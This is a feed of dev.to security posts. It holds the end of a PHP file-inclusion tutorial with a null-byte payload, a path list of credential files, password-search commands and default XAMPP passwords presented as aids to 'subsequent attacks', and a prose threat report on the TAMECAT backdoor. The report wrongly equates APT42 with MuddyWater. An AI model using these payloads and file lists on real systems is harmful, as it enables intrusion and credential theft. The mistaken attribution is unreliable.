&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6rd5q26rwwvtkea3ffr3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6rd5q26rwwvtkea3ffr3.png" alt=" " width="800" height="235"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Adding too many may exceed capacity:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmhq5zzn16hl9an9lqc0h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmhq5zzn16hl9an9lqc0h.png" alt=" " width="800" height="244"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note on Command Execution and Trojan Writing:&lt;/strong&gt; Replace &lt;code&gt;&amp;lt;?php phpinfo();?&amp;gt;&lt;/code&gt; with the desired PHP code.&lt;/p&gt;

&lt;h4&gt;
  
  
  Solution: Null Byte Truncation (&lt;code&gt;%00&lt;/code&gt;)
&lt;/h4&gt;

&lt;p&gt;Principle: &lt;code&gt;chr(0)&lt;/code&gt; acts as a string terminator. Everything after &lt;code&gt;%00&lt;/code&gt; is ignored.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;magic_quotes_gpc = Off&lt;/code&gt; (if &lt;code&gt;On&lt;/code&gt;, &lt;code&gt;%00&lt;/code&gt; becomes &lt;code&gt;\0&lt;/code&gt; and is escaped)&lt;/li&gt;
&lt;li&gt;PHP version &amp;lt; 5.3.4
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="gh"&gt;index.php?file=phpinfo.php%00
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqphvmgnnvvg6u5orva5l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqphvmgnnvvg6u5orva5l.png" alt=" " width="800" height="196"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note on Command Execution and Trojan Writing:&lt;/strong&gt; Replace &lt;code&gt;&amp;lt;?php phpinfo();?&amp;gt;&lt;/code&gt; with the desired PHP code.&lt;/p&gt;

&lt;h2&gt;
  
  
  Defence Measures
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Configure PHP's &lt;code&gt;open_basedir&lt;/code&gt; to restrict file access to specified directories. This will cause inclusion to fail for files outside the web directory.&lt;/li&gt;
&lt;li&gt;Manage file permissions carefully.&lt;/li&gt;
&lt;li&gt;Limit includable files via whitelisting or by setting a dedicated include directory.&lt;/li&gt;
&lt;li&gt;Filter dangerous characters: &lt;code&gt;.&lt;/code&gt; (dot), &lt;code&gt;/&lt;/code&gt; (forward slash), &lt;code&gt;\&lt;/code&gt; (backslash), and other special characters.&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;allow_url_fopen = Off&lt;/code&gt; and &lt;code&gt;allow_url_include = Off&lt;/code&gt;. Although many pseudo‑protocols still work, this reduces the attack surface.&lt;/li&gt;
&lt;li&gt;Avoid dynamic inclusion whenever possible.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>php</category>
      <category>cybersecurity</category>
      <category>vulnerabilities</category>
      <category>file</category>
    </item>
    <item>
      <title>Windows and Linux Sensitive Directory Path Summary</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Sun, 07 Jun 2026 05:01:24 +0000</pubDate>
      <link>https://dev.to/excalibra/windows-and-linux-sensitive-directory-path-summary-3b1o</link>
      <guid>https://dev.to/excalibra/windows-and-linux-sensitive-directory-path-summary-3b1o</guid>
      <description>&lt;h1&gt;
  
  
  Windows and Linux Sensitive Directory Path Summary
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Abstract:&lt;/strong&gt; This article describes how to exploit file inclusion and arbitrary file download vulnerabilities. It provides file lookup commands for different operating systems, lists common configuration file names for Apache, MySQL, PHP, etc., and mentions sensitive files and information, such as probe pages, system files, and critical paths in content management systems (CMS). In addition, default paths for website building tools such as XAMPP and phpStudy are covered, along with relevant files for common CMS platforms.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  0x01 Basic Information
&lt;/h2&gt;

&lt;p&gt;When encountering vulnerabilities such as file inclusion or arbitrary file download, the information in this article can be utilised to facilitate subsequent attacks.&lt;/p&gt;

&lt;h2&gt;
  
  
  0x02 Configuration Files
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Finding Files
&lt;/h3&gt;

&lt;p&gt;If command execution is possible, use the lookup commands directly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Linux-related commands:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find a file&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; filename.ext

&lt;span class="c"&gt;# Search entire disk for files containing 'flag'&lt;/span&gt;
&lt;span class="nb"&gt;grep &lt;/span&gt;flag &lt;span class="nt"&gt;-r&lt;/span&gt; /
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Windows-related commands:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Search entire disk for a file; be sure to add an asterisk!&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; /r c:&lt;span class="se"&gt;\ &lt;/span&gt;%i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;password.txt&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; @echo %i
&lt;span class="k"&gt;for&lt;/span&gt; /r c:&lt;span class="se"&gt;\ &lt;/span&gt;%i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;.ini&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; @echo %i

&lt;span class="c"&gt;# Search drive C: for files containing the string 'password'; double quotes are required!&lt;/span&gt;
findstr /s /n &lt;span class="s2"&gt;"password"&lt;/span&gt; c:&lt;span class="se"&gt;\*&lt;/span&gt;

&lt;span class="c"&gt;# Check whether pwd.txt contains the string 'password'; double quotes are required!&lt;/span&gt;
find /N /I &lt;span class="s2"&gt;"password"&lt;/span&gt; pwd.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Common Configuration File Names
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Apache
httpd.conf

# MySQL
my.ini

# Virtual host configuration
httpd-vhosts.conf

# IIS
metabase.xml
applicationHost.config

# SSH
/etc/ssh/sshd_config

# Nginx
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default

# PHP
php.ini

# WebLogic (read password)
./security/SerializedSystemIni.dat
./config/config.xml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Apache
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Configuration file path&lt;/span&gt;
/etc/httpd/conf/httpd.conf

&lt;span class="c"&gt;# Default site path&lt;/span&gt;
/var/www/html/

&lt;span class="c"&gt;# Ubuntu configuration file&lt;/span&gt;
/etc/apache2/apache2.conf

&lt;span class="c"&gt;# Access log and error log&lt;/span&gt;
/private/var/log/apache2/error_log
/private/var/log/apache2/access_log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  IIS
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Configuration file&lt;/span&gt;
web.config
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  MySQL
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Configuration file&lt;/span&gt;
/etc/my.cnf
/etc/mysql/my.cnf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  phpMyAdmin
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Configuration file&lt;/span&gt;
config.inc.php

&lt;span class="c"&gt;# Default path&lt;/span&gt;
/var/www/phpmyadmin/config.inc.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  XAMPP Suite
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Related paths:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Website default path
xampp\htdocs

# Apache basic configuration
xampp\apache\conf\httpd.conf

# Apache SSL
xampp\apache\conf\ssl.conf

# Apache Perl (plugin only)
xampp\apache\conf\perl.conf

# Apache Tomcat (plugin only)
xampp\apache\conf\java.conf

# Apache Python (plugin only)
xampp\apache\conf\python.conf

# Virtual hosts
xampp/apache/conf/extra/httpd-vhosts.conf

# PHP
xampp\php\php.ini

# Database default path
xampp\mysql\data

# MySQL
xampp\mysql\bin\my.ini

# phpMyAdmin
xampp\phpMyAdmin\config.inc.php

# FileZilla FTP server
xampp\FileZilla

# FTP/FileZilla Server.xml
Mercury

# Mercury mail server basic configuration
xampp\MercuryMail\MERCURY.INI

# Sendmail
xampp\sendmail\sendmail.ini
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Default passwords:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# MySQL
User: root   Password: (empty)

# FileZilla FTP
User: newuser   Password: wampp
User: anonymous   Password: some@mail.net

# Mercury
Postmaster: postmaster (postmaster@localhost)
Administrator: Admin (admin@localhost)
TestUser: newuser   Password: wampp

# WEBDAV
User: wampp   Password: xampp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  phpStudy Suite
&lt;/h3&gt;

&lt;p&gt;Earlier versions of the phpStudy suite were reported to be problematic, with issues such as port conflicts and poor database management. However, when tested again on Windows (as of August 2019), these problems were no longer observed, reflecting the rapid evolution of technology and product updates.&lt;/p&gt;

&lt;p&gt;There is also a Pro version, so the paths have changed accordingly. This summary takes the Pro version as an example; for the standard version, simply remove 'Pro'.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Related paths:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Root directory
phpstudy\WWW
phpstudy_pro\WWW

# phpMyAdmin
phpstudy_pro\WWW\phpMyAdmin4.8.5

# PHP: In the Pro version, plugins are displayed as extensions.
phpstudy_pro\Extensions\php\php7.3.4nts\php.ini
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  0x03 Sensitive Files
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Probe Information
&lt;/h3&gt;

&lt;p&gt;When using XAMPP/LAMPP/phpStudy/PHPnow, some probe pages may be left behind, revealing useful information, such as &lt;code&gt;Document_Root&lt;/code&gt; (representing the website root directory) and &lt;code&gt;session.save_path&lt;/code&gt; (storing session information).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1.php
l.php
p.php
probe.php
test.php
info.php
phpinfo.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Windows
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View system version&lt;/span&gt;
c:&lt;span class="se"&gt;\b&lt;/span&gt;oot.ini

&lt;span class="c"&gt;# IIS configuration file&lt;/span&gt;
c:&lt;span class="se"&gt;\w&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\i&lt;/span&gt;netsrv&lt;span class="se"&gt;\M&lt;/span&gt;etaBase.xml

&lt;span class="c"&gt;# Stores the initial installation password for Windows&lt;/span&gt;
c:&lt;span class="se"&gt;\w&lt;/span&gt;indows&lt;span class="se"&gt;\r&lt;/span&gt;epair&lt;span class="se"&gt;\s&lt;/span&gt;am

&lt;span class="c"&gt;# MySQL configuration&lt;/span&gt;
c:&lt;span class="se"&gt;\P&lt;/span&gt;rogramFiles&lt;span class="se"&gt;\m&lt;/span&gt;ysql&lt;span class="se"&gt;\m&lt;/span&gt;y.ini

&lt;span class="c"&gt;# MySQL root password&lt;/span&gt;
c:&lt;span class="se"&gt;\P&lt;/span&gt;rogramFiles&lt;span class="se"&gt;\m&lt;/span&gt;ysql&lt;span class="se"&gt;\d&lt;/span&gt;ata&lt;span class="se"&gt;\m&lt;/span&gt;ysql&lt;span class="se"&gt;\u&lt;/span&gt;ser.MYD

&lt;span class="c"&gt;# PHP configuration information&lt;/span&gt;
c:&lt;span class="se"&gt;\w&lt;/span&gt;indows&lt;span class="se"&gt;\p&lt;/span&gt;hp.ini
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Linux
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Basic Linux privilege escalation paths:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Account information&lt;/span&gt;
/etc/passwd

&lt;span class="c"&gt;# Account password file&lt;/span&gt;
/etc/shadow

&lt;span class="c"&gt;# Apache2 default configuration file&lt;/span&gt;
/usr/local/app/apache2/conf/httpd.conf

&lt;span class="c"&gt;# Virtual website configuration&lt;/span&gt;
/usr/local/app/apache2/conf/extra/httpd-vhost.conf

&lt;span class="c"&gt;# PHP configuration file&lt;/span&gt;
/usr/local/app/php5/lib/php.ini

&lt;span class="c"&gt;# Apache configuration file&lt;/span&gt;
/etc/httpd/conf/httpd.conf

&lt;span class="c"&gt;# MySQL configuration file&lt;/span&gt;
/etc/my.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  0x04 Common CMS Examples
&lt;/h2&gt;

&lt;h3&gt;
  
  
  CMS-A
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/member/templets/menulit.php
/plus/paycenter/alipay/return_url.php
/plus/paycenter/cbpayment/autoreceive.php
/paycenter/nps/config_pay_nps.php
/plus/task/dede-maketimehtml.php
/plus/task/dede-optimize-table.php
/plus/task/dede-upcache.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  CMS-B
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/wp-admin/includes/file.php
/wp-content/themes/theme-name/footer.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  CMS-C
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
/temp/compiled/member_info.lbi.php
/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
/temp/compiled/goods_gallery.lbi.php
/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  CMS-D
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/admin/inc/hack/count.php?job=list
/admin/inc/hack/search.php?job=getcode
/admin/inc/ajax/bencandy.php?job=do
/cache/MysqlTime.txt
/cms-root/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  CMS-E
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
/lib/default/special_act.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>vulnerabilities</category>
      <category>directory</category>
      <category>cybersecurity</category>
      <category>path</category>
    </item>
    <item>
      <title>TAMECAT: APT42's New PowerShell Backdoor Targeting Military and Government Officials</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Tue, 28 Apr 2026 19:06:29 +0000</pubDate>
      <link>https://dev.to/excalibra/tamecat-apt42s-new-powershell-backdoor-targeting-military-and-government-officials-14mc</link>
      <guid>https://dev.to/excalibra/tamecat-apt42s-new-powershell-backdoor-targeting-military-and-government-officials-14mc</guid>
      <description>&lt;p&gt;&lt;strong&gt;Article Summary:&lt;/strong&gt; The Iranian APT42 group is conducting espionage attacks against high-ranking military and government officials using the TAMECAT PowerShell backdoor. This malware features fileless execution, in-memory operation, and Telegram-based C2 channels for covert data exfiltration. This article dissects the attack chain involving VBScript phishing delivery and multi-layer encryption loading, and recommends enterprise EDR deployment, enhanced scripting policies, and security awareness training to build a comprehensive defense system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Article Classification:&lt;/strong&gt; Threat Intelligence, Malware, Incident Response&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqiqsal90yq7giceox1id.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqiqsal90yq7giceox1id.jpg" alt=" " width="800" height="1106"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Alert: APT42's New Weapon TAMECAT—Lurking in PowerShell, Targeting Military and Government Elites
&lt;/h2&gt;




&lt;p&gt;In early 2026, Israel's National Cyber Directorate disclosed critical threat intelligence: the Iranian state-sponsored APT42 group is leveraging a PowerShell backdoor named &lt;strong&gt;TAMECAT&lt;/strong&gt; to conduct precision espionage attacks against defense officials and core government personnel across multiple nations.&lt;/p&gt;

&lt;p&gt;This malicious software operates as an "invisible spy"—it writes nothing to disk, runs entirely in memory, and receives commands via Telegram to stealthily exfiltrate browser data, capture screenshots, and even evade mainstream antivirus solutions. More alarmingly, it has undergone multiple iterations with continuously evolving attack techniques, establishing itself as APT42's core weapon for transnational espionage operations.&lt;/p&gt;

&lt;p&gt;Drawing upon technical analysis reports from Pulsedive and other institutions, Antiy CERT presents a comprehensive dissection of TAMECAT's attack chain, concealment techniques, and defensive countermeasures—illuminating how nation-state actors weaponize scripting tools to achieve precision data theft.&lt;/p&gt;

&lt;h3&gt;
  
  
  Core Thesis
&lt;/h3&gt;

&lt;p&gt;TAMECAT is a modular PowerShell backdoor designed for "covert infiltration + precision exfiltration." Delivered via VBScript phishing, it is tailored for Windows systems and specifically targets high-value military and government personnel. Its most significant threat lies in its &lt;strong&gt;fileless characteristics combined with multi-layer encryption&lt;/strong&gt;, rendering traditional defenses ineffective. Furthermore, its use of social platforms such as Telegram and Discord as C2 channels substantially complicates attribution efforts.&lt;/p&gt;




&lt;h2&gt;
  
  
  I. Attack Chain Dissection: From Phishing to Exfiltration in Four Stages
&lt;/h2&gt;

&lt;p&gt;TAMECAT's attack flow is highly automated, proceeding from initial user interaction with a malicious file to complete data exfiltration without perceptible intrusion. The complete chain comprises four critical phases:&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 1: Delivery—VBScript Phishing with Defense Environment Reconnaissance
&lt;/h3&gt;

&lt;p&gt;The attack typically originates from a spear-phishing email disguised as official correspondence, with an attachment that appears to be an ordinary document but actually contains embedded VBScript.&lt;/p&gt;

&lt;p&gt;This script functions as a "reconnaissance operative." Upon execution, it immediately queries the target device's installed antivirus software list via WMI:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;If Windows-associated security products are detected&lt;/strong&gt;, it invokes &lt;code&gt;conhost&lt;/code&gt; to launch PowerShell and retrieves the core payload via remote download utilities;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;If no Windows environment is detected&lt;/strong&gt;, it employs command-line tools and download utilities to retrieve an alternative malicious program (the link is currently inactive, and the complete sample has not yet been captured).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This "adaptive delivery" design enables TAMECAT to accommodate varying defensive environments, substantially increasing attack success rates.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 2: Loading—Stealth PowerShell Execution with Multi-Layer Encryption Evasion
&lt;/h3&gt;

&lt;p&gt;The successfully downloaded core payload appears to be a standard text file but actually conceals encrypted attack code within a PowerShell script.&lt;/p&gt;

&lt;p&gt;Its anti-detection techniques are exemplary:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Command Obfuscation&lt;/strong&gt;: Utilizes ambiguous expressions to replace plaintext execution commands, evading script detection mechanisms;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AES Double Encryption&lt;/strong&gt;: Core code is first Base64-encoded, then subjected to high-strength encryption; functional modules are only released upon decryption;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fileless Execution&lt;/strong&gt;: Operates entirely in memory without writing any malicious files to disk, making detection by traditional antivirus software extremely difficult.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Stage 3: Exfiltration—Modular Operation with Targeted Sensitive Data Collection
&lt;/h3&gt;

&lt;p&gt;Once decrypted, TAMECAT activates multiple functional modules that operate as a "spy toolkit" to precisely collect information. Primary targets include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Browser Data Theft&lt;/strong&gt;: Extracts data from mainstream browsers via remote debugging, suspending browser processes to read cached credentials, passwords, and other sensitive information;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;System Information Collection&lt;/strong&gt;: Obtains operating system version, computer name, and unique identification tokens, generating victim-specific identifiers stored in system directories;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Screen Surveillance&lt;/strong&gt;: Captures screenshots silently to comprehensively record target operational trajectories;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Command Reception&lt;/strong&gt;: Receives control commands via Telegram bots, enabling download of additional scripts, execution of various code types, and flexible termination of attack processes.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Notably, APT42 frequently employs social engineering "priming"—first establishing trust relationships with victims before delivering malicious files, substantially reducing suspicion.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 4: Exfiltration—Encrypted Transmission with C2 Channels Hidden in Social Platforms
&lt;/h3&gt;

&lt;p&gt;Collected sensitive data is encrypted and transmitted to control servers via network requests. To evade monitoring, TAMECAT additionally:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Forges browser user-agent strings to masquerade as legitimate network traffic;&lt;/li&gt;
&lt;li&gt;Stores encrypted key parameters in specialized request headers to increase decryption difficulty;&lt;/li&gt;
&lt;li&gt;Utilizes not only dedicated servers but also social platforms such as Discord and Telegram as backup control channels, further complicating attribution efforts.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  II. Anomalous Behavior Indicators: Critical Signals for Detection
&lt;/h2&gt;

&lt;p&gt;To rapidly identify TAMECAT attacks, security teams should prioritize monitoring for the following anomalous behaviors, which can be directly incorporated into defensive rules:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Script execution utilities launching PowerShell or command-line tools accompanied by remote download operations;&lt;/li&gt;
&lt;li&gt;PowerShell processes exhibiting suspicious behaviors such as obfuscated command invocations or anomalous encoded string parsing;&lt;/li&gt;
&lt;li&gt;Processes attempting to access system local application data directories or creating unidentified configuration files;&lt;/li&gt;
&lt;li&gt;Encrypted network requests directed at social platform-associated domains with specialized custom fields in request headers.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  III. Defensive Recommendations: Five Critical Actions to Disrupt the Attack Chain
&lt;/h2&gt;

&lt;p&gt;Given TAMECAT's attack characteristics, and drawing upon the Australian Signals Directorate (ASD) PowerShell security guidelines, we recommend constructing a defense system encompassing "endpoint protection, network monitoring, and user education":&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Deploy EDR/AV Solutions&lt;/strong&gt;: Prioritize products supporting PowerShell script monitoring and memory behavior detection, with particular emphasis on intercepting malicious process chains initiated by "VBScript launching PowerShell";&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Strengthen PowerShell Security Configuration&lt;/strong&gt;: In enterprise environments, enable script execution policies (permitting only signed scripts), and activate script block logging to comprehensively record all PowerShell execution content;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Monitor Critical Network Behaviors&lt;/strong&gt;: Intercept suspicious social platform C2 channel access at firewalls and intrusion prevention systems, with particular attention to auditing anomalous network requests containing specialized request headers;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Restrict Sensitive Directory Access&lt;/strong&gt;: Implement access controls on critical directories such as system local application data to prevent untrusted processes from creating suspicious files or directories;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Enhance User Security Education&lt;/strong&gt;: Specifically alert military, government, and classified personnel to exercise caution regarding unsolicited email attachments—particularly files with &lt;code&gt;.vbs&lt;/code&gt; or &lt;code&gt;.docm&lt;/code&gt; extensions—and to avoid clicking links from unverified sources.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  IV. Attribution: APT42's State-Sponsored Espionage Ambitions
&lt;/h2&gt;

&lt;p&gt;Behind TAMECAT lies the notorious Iranian state-sponsored APT42 group (also known as "MuddyWater"), which has long focused on transnational espionage with attack targets spanning government, defense, and energy sectors across the Middle East, Europe, and Asia.&lt;/p&gt;

